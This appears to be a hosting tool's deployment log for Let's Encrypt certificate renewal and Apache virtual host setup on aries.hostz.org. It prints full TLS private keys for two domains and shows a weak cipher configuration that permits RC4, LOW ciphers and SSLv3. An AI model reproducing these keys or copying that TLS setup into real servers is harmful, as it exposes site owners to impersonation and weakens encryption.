chmod 755 /tmp/pkp202164; /tmp/pkp202164; rm /tmp/pkp202164

2025-11-30 06:02:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt	5372
59:93:4b:8e:2e:88:03:ca:94:58:33:31:c5:0f:a4:4a

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBdoARZB2YEVqdz2/rXGMkglkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMzM1WhcNMjYwMjI4MDUwMzM0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
vQxokcryQ0kzi21iL+mK67MR8wEuzqdcTNjKN0PuABbF6zIaipNmvbow2/uLVMOW
sVzmZX7y62/Gln3c45SeMPkbZtzGOx5iOsCvb9xahlOwkAn6giJj2eHDe5ZctZMx
Ev066Ni4f9DULYEeH5FsfdqJxEa6UuS3zs1IOeD+9OPgQHRCOgvToYcBwjH6kfLV
VWOAxbR0DWFLXpwdbHlyXjycL7ecLBgF74tJSNN3aESjGRTuFZoNCEa6wVB1UJ1V
FYhllVZT8i3W4EyV25hmwJx9sgNyFq/aumfiYxT2BrcuzIM2cKhBkcnGXwz1vp3U
hAGr1PHSbzEt3e/iIpJIiwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQe3siTtGfVFy9p4UBH1Zs2K9DA2jAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWRnbWFyc2hhbGwuY2GCEXd3dy5k
Z21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAxLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAAB
mtNaqFwAAAQDAEcwRQIhAJLoRBp1BsubA26U+w6S055frDJ1FUjost8VCAzub+N7
AiBinot9sm0jayfSW9YoQ1w2vhaeCTNAZsYRc0F7uSR7rwB2AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmtNaqHwAAAQDAEcwRQIhAI6GqGn2vjm/
l0K0azymvoLjCC0hDhB2p7KKcQxZq54AAiB82gFyxuxYh7xUexvGiTNBuCtaXGZZ
3b7tVRhgqcQSYTANBgkqhkiG9w0BAQsFAAOCAQEAPgaFIWRgt5ePqVVH/Ww7omid
LBUExyPsvYrWS1JUBCYV7Mz1SEWj0QpdNe8lAM3M2N6/fz7AmXjLynt+/PiqChTM
+eI1t8S3MTTlDPDG2op9ttY+7H7AVorptWgDgGK1NOQrEcIUTYvPmQqd6vpBYIae
diYQBRIUb+fpNjr/dQ4OAwtoOZbCMtf3uWY/khD9O32cIsKmqnqPBPH/uzlajUcW
UJTTw3U/nbGchVa5CsnTFNx5sWqFjNgurAlu33r13W8bxqdMO+5J+KscbGWbRRRx
SxO7Pm6pOVUbRkJotpUA61v/2ufvMRnaJDTUvBVCSWPwC2Iv5EGzxuSf3Rh7Kg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC9DGiRyvJDSTOL
bWIv6YrrsxHzAS7Op1xM2Mo3Q+4AFsXrMhqKk2a9ujDb+4tUw5axXOZlfvLrb8aW
fdzjlJ4w+Rtm3MY7HmI6wK9v3FqGU7CQCfqCImPZ4cN7lly1kzES/Tro2Lh/0NQt
gR4fkWx92onERrpS5LfOzUg54P704+BAdEI6C9OhhwHCMfqR8tVVY4DFtHQNYUte
nB1seXJePJwvt5wsGAXvi0lI03doRKMZFO4Vmg0IRrrBUHVQnVUViGWVVlPyLdbg
TJXbmGbAnH2yA3IWr9q6Z+JjFPYGty7MgzZwqEGRycZfDPW+ndSEAavU8dJvMS3d
7+IikkiLAgMBAAECggEAGOQqXI/hKBTaUZBcbjyMyw3v3hQYyqLkl0WwEmjCTIaz
Fo2pSvevfmmmh0BujwGVtNKrj0+QwokcF7KIw/pMfdw+zGNjQmN0wZGfR9Y2oRsh
00VNE5ddmFGOgJZCrLGts3deK0xltoaTeU5X3gYyx7tfilVZsRJmVTdYPC6wwyOH
auydqT1IZx494/NX4oCNFECbWAxgGFB0VgMe/6RLfm58Mwd5fke8fwjJZMlQ6Fzo
wK6kb3PEfjXK3U6AS3I4PeCbk0BdORLC8CYgC6sut8vbhTS2A00+fyxYfXPMq7UH
n3iG5wMcP1SFjvHHbY9O+/wI/OGxC9Sw9KNjV876WQKBgQD7+ncwOcRj9XUJkH9z
ql+r9j2KHIRjnQbvcCay0Eh11BcFjP84tyLXr8HbFFlEBrfEJz+O5aZr5XKLTUE8
0bWRY/S/0DS0l40bmZZ2YWetqmsJY56YGYnmiek79BwjAADvx7o5ClZ40cB6CDnD
NO4ofOV1OfU8edzsn1iGZ49PZQKBgQDAENLWE8Wufu1M44vnp5G//7ezpwfFibPJ
erZq2sBOQHQhBM90SRo965yt6d9YkFdY8vqSPfp0Xlzj+f82TUlCwZoDOf43FvyU
3A4j7vvu52uX0PQMsKh3fCa514p808/AFjIH8f5DQ3CpqLJu/W0za80AjctPc/yu
2xObH7kRLwKBgEnzjjtnGM5FYZ32/JDTtdRgJlt8VxZtJXXsMk9UdY+vOTp10Qmy
JdWrTXeglzoxxokZA7xKhfcwlddwSu8wlNsgvNn2nyFJQS6SeugvWiBL3bIZvJfj
FufEHeFsmT1kaOH2eh73e71lwdmOxHUX+bWEQkuPQPwIv9/qPC7mAddJAoGBAL9Q
wsNNxK7Rbg0V6CljqHIpBdKlQb+KMBU07/o2VjJcT5EIWqFJpCMjy9kMylZMyUUo
G2KK7Cz4Re0s/AQaLiyZ7pDiNpCnjAe3vzoZ9sf9qxX5pO/zFIyYlXau9hrrXdjI
AyQY8B4OUm4dRUf7lsgOzJCNrYRCU+PVA42UpuMvAoGBAMBFFRSLLufsEOiL00dN
qVLtt8scbeRDJoJiLsHOtZKUZEUlOi7F9ihDbL4wgNSA17n/u/svlLKvhNKwdkes
ITraTW5XUtcxXh+uvLy+4ChuAaEFbvNHRvXvvCyjeaIefCz3gfh7GagetBH1xkfA
fKJNx/pXcp7S/uzAlIQJsI7b
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-30 06:02:07: Establishing a connection
2025-11-30 06:02:08: Establishing a connection
2025-11-30 06:02:09: 

PUT: /tmp/pkp375759

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-30 06:02:10: 

chmod 755 /tmp/pkp375759; /tmp/pkp375759; rm /tmp/pkp375759

2025-11-30 06:02:10: 


0


2025-12-01 06:00:02: Establishing a connection
2025-12-01 06:00:03: Establishing a connection
2025-12-01 06:00:03: 

PUT: /tmp/pkp202910

#!/bin/bash
if [ -d "/var/www/hostz_aries/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-01 06:00:05: 

chmod 755 /tmp/pkp202910; /tmp/pkp202910; rm /tmp/pkp202910

2025-12-01 06:00:05: 


1


2025-12-01 06:00:06: Establishing a connection
2025-12-01 06:00:06: 

PUT: /tmp/pkp434442

#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
cat > CX99x3RoYS_iYkOu2DSQ83cKGOvPNNCPQPZIULf3G3I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
CX99x3RoYS_iYkOu2DSQ83cKGOvPNNCPQPZIULf3G3I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 CX99x3RoYS_iYkOu2DSQ83cKGOvPNNCPQPZIULf3G3I


2025-12-01 06:00:06: 

chmod 755 /tmp/pkp434442; /tmp/pkp434442; rm /tmp/pkp434442

2025-12-01 06:00:06: 




2025-12-01 06:00:12: Establishing a connection
2025-12-01 06:00:12: 

PUT: /tmp/pkp675269

#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
rm CX99x3RoYS_iYkOu2DSQ83cKGOvPNNCPQPZIULf3G3I


2025-12-01 06:00:12: 

chmod 755 /tmp/pkp675269; /tmp/pkp675269; rm /tmp/pkp675269

2025-12-01 06:00:12: 




2025-12-01 06:00:12: Establishing a connection
2025-12-01 06:00:12: 

PUT: /tmp/pkp258078

#!/bin/bash
temp_file=$(mktemp)
TARGET=13385323b2ba6119b083bb652d070eb4.crt

cat > $temp_file <<'endmsg'
18:80:18:ef:8d:17:6a:d8:d9:20:2c:01:b0:1a:3c:ee

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBnsN45FHICGfDJWV64k40q6CMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMTQxWhcNMjYwMzAxMDUwMTQwWjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDHdwzsHDEdqceWghlb2toI2rK8dy3/J7NeuA5/lSh62i1Ky/VdYl4KpC6/uwDH
9DyE8+WMq1nNQyeBI5WC7r0pqmTEYv0c9+4JvG1m4dkMqSpv8rnggIwfLzYQWgUc
czFZrhp5NhCTnGOlj+4qxuclQu+kmkLc6tGulMx7vOsPU6Mix9fTSWJiCtO0zAU3
Y3EtC8tPYcjkjHXgy7mbQy9rNObqvctDVu9thjpVcE5cWe3FkBzoI0q/mn/9S/So
qifXkn6RedADO+V4BQLQ9r+48bsKp2hsMZ4W3i0h6ATY1hfKSlQ99cVlcjL7SM23
Pv+hMoHFR5I/GrZGSmcC3S9rAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFKMukSr6qfc6SIUfoDPCe/7lPA93MB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPYXJpZXMuaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvMy5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdQAZhtTH
KKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZrYf0eSAAAEAwBGMEQCIBrl
IOlHu2O8csZAt8cNVOAC+JoIgyrhFkldYkBEyeZvAiAQdUqUa2LI5UoMjYEQnXsa
OrcryUV/7RLhvg8dCwdBDAB3AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxh
xU4hAAABmth/R5AAAAQDAEgwRgIhAO+Wi2HPilzyV/aHeyXp6JHyn3Is/Fju5fuT
aGYizAiyAiEAlcLduUiB5vW9IQ10b52C2Mq/eKp3zzh8RlRqWO6sztswDQYJKoZI
hvcNAQELBQADggEBAIWQXyuYEVO3ogS7rTe0+vHzzZOYk628YygHuqxcn6tnHT0D
OYNIhQ9x8HQDIdf7IX8c0UCofKnZe5o81Qo2girnmDI0rNnRKZAxxn7gaFWHH4GJ
RTiGzRiwF4Sgr+56Y5qJQf909ZrtsahG/HSM8fzrXRYMU5nF52F9vP13RUg7YAPm
s4YD/33RM83+LDqauz2vPd5CG5YQx+SvalrSFqReSgKZJVsiyU3R041TIDQ7QX+z
nvB8PfjBmZ7hrd7geanb6+JIDvYKOzwm5hEFfd2HfKp78zSSSq0sqexQMsxhRx4l
I0zRvqSBg+Uy/abHAGj6qeiSczDZZeljyeIZ9JQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHdwzsHDEdqceW
ghlb2toI2rK8dy3/J7NeuA5/lSh62i1Ky/VdYl4KpC6/uwDH9DyE8+WMq1nNQyeB
I5WC7r0pqmTEYv0c9+4JvG1m4dkMqSpv8rnggIwfLzYQWgUcczFZrhp5NhCTnGOl
j+4qxuclQu+kmkLc6tGulMx7vOsPU6Mix9fTSWJiCtO0zAU3Y3EtC8tPYcjkjHXg
y7mbQy9rNObqvctDVu9thjpVcE5cWe3FkBzoI0q/mn/9S/SoqifXkn6RedADO+V4
BQLQ9r+48bsKp2hsMZ4W3i0h6ATY1hfKSlQ99cVlcjL7SM23Pv+hMoHFR5I/GrZG
SmcC3S9rAgMBAAECggEBAIWz/Yt/UkUJ+2meB5WU27Y3sru2P7TbTdbeFYnb1+iR
uu56TRytxU/owhVvKpTd2Hteaa6jZWy76Q0dZyj/EvmM6ELj/7qdTohkMAlYtn9Q
HcwwrfwY7tQwd1L6pJZveNMea0x4ux/XIsxl8EXoUiSd+7kgVlVzad5Wi8Md3YrF
XIY1F/f8j6RSEYoaSlbhplKYCLqrgllnEbf8zi9GrMqYi/6uZjYFFp8qqlnED6Sh
G3yGlUmo/wwmimJ+Ob9niRBRhW7t3TEKgHA1fJkAArhb9ai6B2JSKmtKflorv2xc
wct+x7oztGf8ETfCswVdHmxbWKczb4Caxwa0xymKYRECgYEA5cLZ34WfVhILHi5X
vauX+PJ6/SSv95ncYSao2EkNsMCswLdCLSF5jABlWPK5ANcr80WkS//87fbz0bpJ
KMokavHPK7d6UJx8KAciKRQdC/or/LUk1rGYExULIIs0ZkTvubz9PphJ9r2LMU7Y
sxfsMMPUE5Pum26v9qSWr/WdVWcCgYEA3j57cqN85i8lNyNvZLwavUJlSjSxcEtY
CISsEa1Gf7gmC+OKIm+zSYEY8jxwXOOXdGmCJGC614DWAhbnu3YWRIPM0ubAqlUv
1AkidVPt7M4zFvcwTuvDRl/ixhKXu0t2rXGWlb2RJiCz5IyJ9jBSQvNc7sc0raT3
QyMPmmP2710CgYAcvLtNdsQQGt+jHb7BrWWrsIBrixwrRuZGjHRP4QtCUUcKL6Gq
TWaLeT0z2+AB1+faXJqJGvKCvQGP+NHPtUDK04XK/P7ieEAbLZE7PBXJ+rdnuyxp
YfsYX+htYJvkMrkdLSMrohaWMuzm9Oqrs9FJ5CRxcm5EqJp/qeRjC8Bq/wKBgE22
4aobu0Auuj/Gt1wtXthRkGPbezS+VAFei2D/C4j71uoPXi1ei/4nE5cZRV1mBH8j
qeuYm51iIvPGGLB3wZ+hywzwveySL1BhBViryaYmEL12IMFoNfe07fK/a6mF4PET
qEmiaVBA3UcNUezxxsI8oYGpzSTva7thVkJxtFbNAoGBAImos59MQ4HTvcedARaA
+pxsNmUy1fdX5sPFZS0TtfSSN028cB3NQ1sczTf0lK3iDpGJ15hSU58qH97Z5j4G
AMfcbrazIdSx69MO6YwZ/yr2ufCpAGfPjdyzeLJyI2xw8yBF4JOjYrRiJibQJBzC
LTVNlnTNXlVJtsCfLeKS+l/Y
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-01 06:00:12: 

chmod 755 /tmp/pkp258078; /tmp/pkp258078; rm /tmp/pkp258078

2025-12-01 06:00:12: 


dir=/etc/ssl/certs


2025-12-01 06:00:12: 

PUT: /tmp/pkp969891

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_aries_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-01 06:00:12: 

chmod 755 /tmp/pkp969891; /tmp/pkp969891; rm /tmp/pkp969891

2025-12-01 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf 39

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2025-12-01 06:00:12: 

PUT: /tmp/pkp414381

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_aries_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_aries_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_aries_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf= 1'
fi


2025-12-01 06:00:12: 

chmod 755 /tmp/pkp414381; /tmp/pkp414381; rm /tmp/pkp414381

2025-12-01 06:00:12: 




2025-12-01 06:00:12: 

PUT: /tmp/pkp683288

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-01 06:00:12: 

chmod 755 /tmp/pkp683288; /tmp/pkp683288; rm /tmp/pkp683288

2025-12-01 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


